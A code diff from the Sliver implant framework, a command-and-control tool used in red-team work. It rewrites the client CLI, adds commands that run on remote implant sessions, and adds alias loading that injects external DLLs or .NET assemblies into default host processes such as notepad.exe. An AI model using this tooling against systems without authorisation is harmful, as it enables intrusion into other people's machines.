+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"encoding/json"
+	"os"
+	"path/filepath"
+)
+
+const (
+	settingsFileName = "tui-settings.json"
+)
+
+// ClientSettings - Client JSON config
+type ClientSettings struct {
+	TableStyle        string `json:"tables"`
+	AutoAdult         bool   `json:"autoadult"`
+	BeaconAutoResults bool   `json:"beacon_autoresults"`
+	SmallTermWidth    int    `json:"small_term_width"`
+	AlwaysOverflow    bool   `json:"always_overflow"`
+	VimMode           bool   `json:"vim_mode"`
+	UserConnect       bool   `json:"user_connect"`
+	ConsoleLogs       bool   `json:"console_logs"`
+}
+
+// LoadSettings - Load the client settings from disk
+func LoadSettings() (*ClientSettings, error) {
+	rootDir, _ := filepath.Abs(GetRootAppDir())
+	data, err := os.ReadFile(filepath.Join(rootDir, settingsFileName))
+	if err != nil {
+		return defaultSettings(), err
+	}
+	settings := defaultSettings()
+	err = json.Unmarshal(data, settings)
+	if err != nil {
+		return defaultSettings(), err
+	}
+	return settings, nil
+}
+
+func defaultSettings() *ClientSettings {
+	return &ClientSettings{
+		TableStyle:        "SliverDefault",
+		AutoAdult:         false,
+		BeaconAutoResults: true,
+		SmallTermWidth:    170,
+		AlwaysOverflow:    false,
+		VimMode:           false,
+		ConsoleLogs:       true,
+	}
+}
+
+// SaveSettings - Save the current settings to disk
+func SaveSettings(settings *ClientSettings) error {
+	rootDir, _ := filepath.Abs(GetRootAppDir())
+	if settings == nil {
+		settings = defaultSettings()
+	}
+	data, err := json.MarshalIndent(settings, "", "  ")
+	if err != nil {
+		return err
+	}
+	err = os.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0o600)
+	return err
+}
@@ -24,25 +24,23 @@ import (
 	"os"
 	"path"

-	"github.com/bishopfox/sliver/client/assets"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/version"
-
-	"github.com/spf13/cobra"
 )

 const (
 	logFileName = "sliver-client.log"
 )

-var (
-	sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
-)
+var sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())

 // Initialize logging
 func initLogging(appDir string) *os.File {
 	log.SetFlags(log.LstdFlags | log.Lshortfile)
-	logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0600)
+	logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600)
 	if err != nil {
 		panic(fmt.Sprintf("[!] Error opening file: %s", err))
 	}
@@ -51,29 +49,43 @@ func initLogging(appDir string) *os.File {
 }

 func init() {
+	rootCmd.TraverseChildren = true
+
+	// Create the console client, without any RPC or commands bound to it yet.
+	// This created before anything so that multiple commands can make use of
+	// the same underlying command/run infrastructure.
+	con := console.NewConsole(false)

 	// Import
-	rootCmd.AddCommand(cmdImport)
+	rootCmd.AddCommand(importCmd())

 	// Version
 	rootCmd.AddCommand(cmdVersion)
+
+	// Client console.
+	// All commands and RPC connection are generated WITHIN the command RunE():
+	// that means there should be no redundant command tree/RPC connections with
+	// other command trees below, such as the implant one.
+	rootCmd.AddCommand(consoleCmd(con))
+
+	// Implant.
+	// The implant command allows users to run commands on slivers from their
+	// system shell. It makes use of pre-runners for connecting to the server
+	// and binding sliver commands. These same pre-runners are also used for
+	// command completion/filtering purposes.
+	rootCmd.AddCommand(implantCmd(con))
+
+	// No subcommand invoked means starting the console.
+	rootCmd.RunE, rootCmd.PostRunE = consoleRunnerCmd(con, true)
+
+	// Completions
+	carapace.Gen(rootCmd)
 }

 var rootCmd = &cobra.Command{
 	Use:   "sliver-client",
 	Short: "",
 	Long:  ``,
-	Run: func(cmd *cobra.Command, args []string) {
-		appDir := assets.GetRootAppDir()
-		logFile := initLogging(appDir)
-		defer logFile.Close()
-
-		os.Args = os.Args[:1] // Stops grumble from complaining
-		err := console.StartClientConsole()
-		if err != nil {
-			fmt.Printf("[!] %s\n", err)
-		}
-	},
 }

 // Execute - Execute root command
@@ -0,0 +1,71 @@
+package cli
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"sort"
+
+	"github.com/bishopfox/sliver/client/assets"
+
+	"gopkg.in/AlecAivazis/survey.v1"
+)
+
+func selectConfig() *assets.ClientConfig {
+	configs := assets.GetConfigs()
+
+	if len(configs) == 0 {
+		return nil
+	}
+
+	if len(configs) == 1 {
+		for _, config := range configs {
+			return config
+		}
+	}
+
+	answer := struct{ Config string }{}
+	qs := getPromptForConfigs(configs)
+	err := survey.Ask(qs, &answer)
+	if err != nil {
+		fmt.Println(err.Error())
+		return nil
+	}
+
+	return configs[answer.Config]
+}
+
+func getPromptForConfigs(configs map[string]*assets.ClientConfig) []*survey.Question {
+	keys := []string{}
+	for k := range configs {
+		keys = append(keys, k)
+	}
+	sort.Strings(keys)
+
+	return []*survey.Question{
+		{
+			Name: "config",
+			Prompt: &survey.Select{
+				Message: "Select a server:",
+				Options: keys,
+				Default: keys[0],
+			},
+		},
+	}
+}
@@ -0,0 +1,73 @@
+package cli
+
+import (
+	"fmt"
+
+	"github.com/spf13/cobra"
+	"google.golang.org/grpc"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/transport"
+	"github.com/bishopfox/sliver/protobuf/rpcpb"
+)
+
+// consoleCmd generates the console with required pre/post runners
+func consoleCmd(con *console.SliverConsoleClient) *cobra.Command {
+	consoleCmd := &cobra.Command{
+		Use:   "console",
+		Short: "Start the sliver client console",
+	}
+
+	consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true)
+
+	return consoleCmd
+}
+
+func consoleRunnerCmd(con *console.SliverConsoleClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) {
+	var ln *grpc.ClientConn
+
+	pre = func(_ *cobra.Command, _ []string) error {
+		appDir := assets.GetRootAppDir()
+		logFile := initLogging(appDir)
+		defer logFile.Close()
+
+		configs := assets.GetConfigs()
+		if len(configs) == 0 {
+			fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
+			return nil
+		}
+		config := selectConfig()
+		if config == nil {
+			return nil
+		}
+
+		// Don't clobber output when simply running an implant command from system shell.
+		if run {
+			fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
+		}
+
+		var rpc rpcpb.SliverRPCClient
+		var err error
+
+		rpc, ln, err = transport.MTLSConnect(config)
+		if err != nil {
+			fmt.Printf("Connection to server failed %s", err)
+			return nil
+		}
+
+		return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run)
+	}
+
+	// Close the RPC connection once exiting
+	post = func(_ *cobra.Command, _ []string) error {
+		if ln != nil {
+			return ln.Close()
+		}
+
+		return nil
+	}
+
+	return pre, post
+}
@@ -0,0 +1,76 @@
+package cli
+
+import (
+	"errors"
+
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+
+	"github.com/bishopfox/sliver/client/command"
+	"github.com/bishopfox/sliver/client/command/use"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/constants"
+)
+
+func implantCmd(con *console.SliverConsoleClient) *cobra.Command {
+	con.IsCLI = true
+
+	makeCommands := command.SliverCommands(con)
+	cmd := makeCommands()
+	cmd.Use = constants.ImplantMenu
+
+	// Flags
+	implantFlags := pflag.NewFlagSet(constants.ImplantMenu, pflag.ContinueOnError)
+	implantFlags.StringP("use", "s", "", "interact with a session")
+	cmd.Flags().AddFlagSet(implantFlags)
+
+	// Prerunners (console setup, connection, etc)
+	cmd.PersistentPreRunE, cmd.PersistentPostRunE = makeRunners(cmd, con)
+
+	// Completions
+	makeCompleters(cmd, con)
+
+	return cmd
+}
+
+func makeRunners(implantCmd *cobra.Command, con *console.SliverConsoleClient) (pre, post func(cmd *cobra.Command, args []string) error) {
+	startConsole, closeConsole := consoleRunnerCmd(con, false)
+
+	// The pre-run function connects to the server and sets up a "fake" console,
+	// so we can have access to active sessions/beacons, and other stuff needed.
+	pre = func(_ *cobra.Command, args []string) error {
+		startConsole(implantCmd, args)
+
+		// Set the active target.
+		target, _ := implantCmd.Flags().GetString("use")
+		if target == "" {
+			return errors.New("no target implant to run command on")
+		}
+
+		session := con.GetSession(target)
+		if session != nil {
+			con.ActiveTarget.Set(session, nil)
+		}
+
+		return nil
+	}
+
+	return pre, closeConsole
+}
+
+func makeCompleters(cmd *cobra.Command, con *console.SliverConsoleClient) {
+	comps := carapace.Gen(cmd)
+
+	comps.PreRun(func(cmd *cobra.Command, args []string) {
+		cmd.PersistentPreRunE(cmd, args)
+	})
+
+	// Bind completers to flags (wrap them to use the same pre-runners)
+	command.FlagComps(cmd, func(comp *carapace.ActionMap) {
+		(*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+			cmd.PersistentPreRunE(cmd, c.Args)
+			return use.SessionIDCompleter(con)
+		})
+	})
+}
@@ -22,26 +22,37 @@ import (
 	"fmt"
 	"os"

-	"github.com/bishopfox/sliver/client/assets"
+	"github.com/rsteube/carapace"
 	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/assets"
 )

-var cmdImport = &cobra.Command{
-	Use:   "import",
-	Short: "Import a client configuration file",
-	Long:  `import [config files]`,
-	Run: func(cmd *cobra.Command, args []string) {
-		if 0 < len(args) {
-			for _, arg := range args {
-				conf, err := assets.ReadConfig(arg)
-				if err != nil {
-					fmt.Printf("[!] %s\n", err)
-					os.Exit(3)
+func importCmd() *cobra.Command {
+	cmdImport := &cobra.Command{
+		Use:   "import",
+		Short: "Import a client configuration file",
+		Long:  `import [config files]`,
+		Run: func(cmd *cobra.Command, args []string) {
+			if 0 < len(args) {
+				for _, arg := range args {
+					conf, err := assets.ReadConfig(arg)
+					if err != nil {
+						fmt.Printf("[!] %s\n", err)
+						os.Exit(3)
+					}
+					assets.SaveConfig(conf)
 				}
-				assets.SaveConfig(conf)
+			} else {
+				fmt.Printf("Missing config file path, see --help")
 			}
-		} else {
-			fmt.Printf("Missing config file path, see --help")
-		}
-	},
+		},
+		ValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {
+			return []string{}, cobra.ShellCompDirectiveDefault
+		},
+	}
+
+	carapace.Gen(cmdImport).PositionalCompletion(carapace.ActionFiles().Tag("server configuration"))
+
+	return cmdImport
 }
@@ -21,8 +21,9 @@ package cli
 import (
 	"fmt"

-	"github.com/bishopfox/sliver/client/version"
 	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/version"
 )

 var cmdVersion = &cobra.Command{
@@ -2,3 +2,13 @@ Command
 =======

 This package contains all of the client command implementations that are shared between the client and the server console.
+
+### Developers
+
+General guidance on the structure of this package:
+ * One command per file and the name of the file should reflect the command it implements (or there about, trivial commands can go into the same file). This makes it easy to find where a command implementation lives within a package or to search by file name if it is not clear which package implements a given command.
+ * The root command, and reused code should go into the file named after the command
+   * For example, code shared between the `generate` and the `regenerate` command should go in `generate.go`, and any `regenerate` specific code should go in `regenerate.go`
+ * Command entrypoint functions should have the suffix `Cmd` e.g., `GenerateCmd` is the entrypoint for `generate`
+   * Command entrypoints should always a function signature of `func (ctx *grumble.Context, con *console.SliverConsoleClient)`
+ * Functions that are only ever exported for other commands to use should go in a `helpers.go`, if the function is used internally and exported follow the guidance above on shared code.
@@ -0,0 +1,11 @@
+Alias
+===========
+
+Wraps external DLLs/tool in Sliver console commands.
+
+
+
+### Format
+
+* `alias-dir/`
+* * `manifest.json` - 
@@ -0,0 +1,141 @@
+package alias
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"encoding/json"
+	"fmt"
+	"io/ioutil"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/jedib0t/go-pretty/v6/text"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+)
+
+// AliasesCmd - The alias command
+func AliasesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) error {
+	if 0 < len(loadedAliases) {
+		PrintAliases(con)
+	} else {
+		con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
+	}
+
+	return nil
+}
+
+// PrintAliases - Print a list of loaded aliases
+func PrintAliases(con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"Name",
+		"Command Name",
+		"Platforms",
+		"Version",
+		"Installed",
+		".NET Assembly",
+		"Reflective",
+		"Tool Author",
+		"Repository",
+	})
+	tw.SortBy([]table.SortBy{
+		{Name: "Name", Mode: table.Asc},
+	})
+	tw.SetColumnConfigs([]table.ColumnConfig{
+		{Number: 5, Align: text.AlignCenter},
+	})
+
+	installedManifests := getInstalledManifests()
+	for _, aliasPkg := range loadedAliases {
+		installed := ""
+		if _, ok := installedManifests[aliasPkg.Manifest.CommandName]; ok {
+			installed = "✅"
+		}
+		tw.AppendRow(table.Row{
+			aliasPkg.Manifest.Name,
+			aliasPkg.Manifest.CommandName,
+			strings.Join(aliasPlatforms(aliasPkg.Manifest), ",\n"),
+			aliasPkg.Manifest.Version,
+			installed,
+			aliasPkg.Manifest.IsAssembly,
+			aliasPkg.Manifest.IsReflective,
+			aliasPkg.Manifest.OriginalAuthor,
+			aliasPkg.Manifest.RepoURL,
+		})
+	}
+	con.Println(tw.Render())
+}
+
+// AliasCommandNameCompleter - Completer for installed extensions command names
+func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
+	results := []string{}
+	for name := range loadedAliases {
+		if strings.HasPrefix(name, prefix) {
+			results = append(results, name)
+		}
+	}
+	return results
+}
+
+func aliasPlatforms(aliasPkg *AliasManifest) []string {
+	platforms := map[string]string{}
+	for _, entry := range aliasPkg.Files {
+		platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
+	}
+	keys := []string{}
+	for key := range platforms {
+		keys = append(keys, key)
+	}
+	return keys
+}
+
+func getInstalledManifests() map[string]*AliasManifest {
+	manifestPaths := assets.GetInstalledAliasManifests()
+	installedManifests := map[string]*AliasManifest{}
+	for _, manifestPath := range manifestPaths {
+		data, err := ioutil.ReadFile(manifestPath)
+		if err != nil {
+			continue
+		}
+		manifest := &AliasManifest{}
+		err = json.Unmarshal(data, manifest)
+		if err != nil {
+			continue
+		}
+		installedManifests[manifest.CommandName] = manifest
+	}
+	return installedManifests
+}
+
+// AliasCommandNameCompleter - Completer for installed extensions command names
+func AliasCompleter() carapace.Action {
+	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+		results := []string{}
+		for name := range loadedAliases {
+			results = append(results, name)
+		}
+		return carapace.ActionValues(results...).Tag("aliases")
+	})
+}
@@ -0,0 +1,90 @@
+package alias
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import "testing"
+
+const (
+	sample1 = `{
+	"name": "test1",
+	"command_name": "test1",
+	"version": "1.0.0",
+	"repo_url": "https://example.com/",
+	"help": "some help",
+	"entrypoint": "foo",
+	"allow_args": true,
+	"default_args": "bar",
+	"is_reflective": true,
+	"is_assembly": true,
+	"files": [
+		{
+			"os": "windows",
+			"arch": "amd64",
+			"path": "foo/test1.dll"
+		}
+	]
+}`
+)
+
+func TestParseAliasManifest(t *testing.T) {
+	alias1, err := ParseAliasManifest([]byte(sample1))
+	if err != nil {
+		t.Errorf("Error parsing alias manifest: %s", err)
+	}
+
+	if alias1.Name != "test1" {
+		t.Errorf("Expected name to be 'test1', got '%s'", alias1.Name)
+	}
+
+	if alias1.CommandName != "test1" {
+		t.Errorf("Expected command_name to be 'test1', got '%s'", alias1.CommandName)
+	}
+
+	if alias1.Version != "1.0.0" {
+		t.Errorf("Expected version to be '1.0.0', got '%s'", alias1.Version)
+	}
+
+	if alias1.RepoURL != "https://example.com/" {
+		t.Errorf("Expected repo_url to be 'https://example.com/', got '%s'", alias1.RepoURL)
+	}
+
+	if alias1.Help != "some help" {
+		t.Errorf("Expected help to be 'some help', got '%s'", alias1.Help)
+	}
+
+	if alias1.Entrypoint != "foo" {
+		t.Errorf("Expected entrypoint to be 'foo', got '%s'", alias1.Entrypoint)
+	}
+
+	if !alias1.AllowArgs {
+		t.Errorf("Expected allow_args to be true, got false")
+	}
+
+	if alias1.DefaultArgs != "bar" {
+		t.Errorf("Expected default_args to be 'bar', got '%s'", alias1.DefaultArgs)
+	}
+
+	if !alias1.IsReflective {
+		t.Errorf("Expected is_reflective to be true, got false")
+	}
+
+	if !alias1.IsAssembly {
+		t.Errorf("Expected is_assembly to be true, got false")
+	}
+}
@@ -0,0 +1,179 @@
+package alias
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/util"
+)
+
+// AliasesInstallCmd - Install an alias
+func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	aliasLocalPath := args[0]
+	fi, err := os.Stat(aliasLocalPath)
+	if os.IsNotExist(err) {
+		con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
+		return
+	}
+	if !fi.IsDir() {
+		InstallFromFile(aliasLocalPath, false, con)
+	} else {
+		installFromDir(aliasLocalPath, con)
+	}
+}
+
+// Install an extension from a directory
+func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
+	manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
+	if err != nil {
+		con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
+		return
+	}
+	manifest, err := ParseAliasManifest(manifestData)
+	if err != nil {
+		con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
+		return
+	}
+	installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
+	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
+		con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
+		confirm := false
+		prompt := &survey.Confirm{Message: "Overwrite current install?"}
+		survey.AskOne(prompt, &confirm)
+		if !confirm {
+			return
+		}
+		forceRemoveAll(installPath)
+	}
+
+	con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
+	err = os.MkdirAll(installPath, 0o700)
+	if err != nil {
+		con.PrintErrorf("Error creating alias directory: %s\n", err)
+		return
+	}
+	err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
+	if err != nil {
+		con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
+		forceRemoveAll(installPath)
+		return
+	}
+
+	for _, cmdFile := range manifest.Files {
+		if cmdFile.Path != "" {
+			src := filepath.Join(aliasLocalPath, util.ResolvePath(cmdFile.Path))
+			dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
+			err := util.CopyFile(src, dst)
+			if err != nil {
+				con.PrintErrorf("Error copying file '%s' -> '%s': %s\n", src, dst, err)
+				forceRemoveAll(installPath)
+				return
+			}
+		}
+	}
+
+	con.Printf("done!\n")
+}
+
+// Install an extension from a .tar.gz file
+func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
+	manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
+	if err != nil {
+		con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
+		return nil
+	}
+	manifest, err := ParseAliasManifest(manifestData)
+	if err != nil {
+		con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
+		return nil
+	}
+	installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
+	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
+		if !autoOverwrite {
+			con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
+			confirm := false
+			prompt := &survey.Confirm{Message: "Overwrite current install?"}
+			survey.AskOne(prompt, &confirm)
+			if !confirm {
+				return nil
+			}
+		}
+		forceRemoveAll(installPath)
+	}
+
+	con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
+	err = os.MkdirAll(installPath, 0o700)
+	if err != nil {
+		con.PrintErrorf("Failed to create alias directory: %s\n", err)
+		return nil
+	}
+	err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
+	if err != nil {
+		con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
+		forceRemoveAll(installPath)
+		return nil
+	}
+	for _, aliasFile := range manifest.Files {
+		if aliasFile.Path != "" {
+			err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
+			if err != nil {
+				con.PrintErrorf("Failed to install file: %s\n", err)
+				forceRemoveAll(installPath)
+				return nil
+			}
+		}
+	}
+	con.Printf("done!\n")
+	return &installPath
+}
+
+func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
+	data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, string(os.PathSeparator))))
+	if err != nil {
+		return err
+	}
+	if len(data) == 0 {
+		return fmt.Errorf("empty file %s", artifactPath)
+	}
+	localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
+	artifactDir := filepath.Dir(localArtifactPath)
+	if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
+		os.MkdirAll(artifactDir, 0o700)
+	}
+	err = ioutil.WriteFile(localArtifactPath, data, 0o600)
+	if err != nil {
+		return err
+	}
+	return nil
+}
+
+func forceRemoveAll(rootPath string) {
+	util.ChmodR(rootPath, 0o600, 0o700)
+	os.RemoveAll(rootPath)
+}
@@ -0,0 +1,538 @@
+package alias
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"os"
+	"path"
+	"path/filepath"
+	"strings"
+
+	"github.com/AlecAivazis/survey/v2"
+	app "github.com/reeflective/console"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util"
+)
+
+const (
+	defaultTimeout = 60
+
+	ManifestFileName = "alias.json"
+
+	windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
+	linuxDefaultHostProc   = "/bin/bash"
+	macosDefaultHostProc   = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
+)
+
+var (
+	// alias name -> manifest/command
+	loadedAliases = map[string]*loadedAlias{}
+
+	defaultHostProc = map[string]string{
+		"windows": windowsDefaultHostProc,
+		"linux":   windowsDefaultHostProc,
+		"darwin":  macosDefaultHostProc,
+	}
+)
+
+// Ties the manifest struct to the command struct
+type loadedAlias struct {
+	Manifest *AliasManifest
+	Command  *cobra.Command
+}
+
+// AliasFile - An OS/Arch specific file
+type AliasFile struct {
+	OS   string `json:"os"`
+	Arch string `json:"arch"`
+	Path string `json:"path"`
+}
+
+// AliasManifest - The manifest for an alias, contains metadata
+type AliasManifest struct {
+	Name           string `json:"name"`
+	Version        string `json:"version"`
+	CommandName    string `json:"command_name"`
+	OriginalAuthor string `json:"original_author"`
+	RepoURL        string `json:"repo_url"`
+	Help           string `json:"help"`
+	LongHelp       string `json:"long_help"`
+
+	Entrypoint   string       `json:"entrypoint"`
+	AllowArgs    bool         `json:"allow_args"`
+	DefaultArgs  string       `json:"default_args"`
+	Files        []*AliasFile `json:"files"`
+	IsReflective bool         `json:"is_reflective"`
+	IsAssembly   bool         `json:"is_assembly"`
+
+	RootPath string `json:"-"`
+}
+
+func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
+	proc, ok := defaultHostProc[targetOS]
+	if !ok {
+		err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
+	}
+	return
+}
+
+func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
+	filePath := ""
+	for _, extFile := range a.Files {
+		if targetOS == extFile.OS && targetArch == extFile.Arch {
+			filePath = path.Join(assets.GetAliasesDir(), a.CommandName, extFile.Path)
+			break
+		}
+	}
+	if filePath == "" {
+		err := fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
+		return "", err
+	}
+	if _, err := os.Stat(filePath); os.IsNotExist(err) {
+		err = fmt.Errorf("alias file not found: %s", filePath)
+		return "", err
+	}
+	return filePath, nil
+}
+
+// AliasesLoadCmd - Locally load a alias into the Sliver shell.
+func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	dirPath := args[0]
+	// dirPath := ctx.Args.String("dir-path")
+	alias, err := LoadAlias(dirPath, cmd.Root(), con)
+	if err != nil {
+		con.PrintErrorf("Failed to load alias: %s\n", err)
+	} else {
+		con.PrintInfof("%s alias has been loaded\n", alias.Name)
+	}
+}
+
+// LoadAlias - Load an alias into the Sliver shell from a given directory
+func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverConsoleClient) (*AliasManifest, error) {
+	// retrieve alias manifest
+	var err error
+	manifestPath, err = filepath.Abs(manifestPath)
+	if err != nil {
+		return nil, err
+	}
+
+	// parse it
+	data, err := os.ReadFile(manifestPath)
+	if err != nil {
+		return nil, err
+	}
+	aliasManifest, err := ParseAliasManifest(data)
+	if err != nil {
+		return nil, err
+	}
+	aliasManifest.RootPath = filepath.Dir(manifestPath)
+
+	// for each alias command, add a new app command
+	helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
+	longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
+	longHelpMsg += "\n\n⚠️  If you're having issues passing arguments to the alias please read:\n"
+	longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
+	addAliasCmd := &cobra.Command{
+		Use:   aliasManifest.CommandName,
+		Short: helpMsg,
+		Long:  longHelpMsg,
+		Run: func(cmd *cobra.Command, args []string) {
+			runAliasCommand(cmd, con, args)
+		},
+		Args:        cobra.ArbitraryArgs, // 	a.StringList("arguments", "arguments", grumble.Default([]string{}))
+		GroupID:     consts.AliasHelpGroup,
+		Annotations: makeAliasPlatformFilters(aliasManifest),
+	}
+
+	if aliasManifest.IsAssembly {
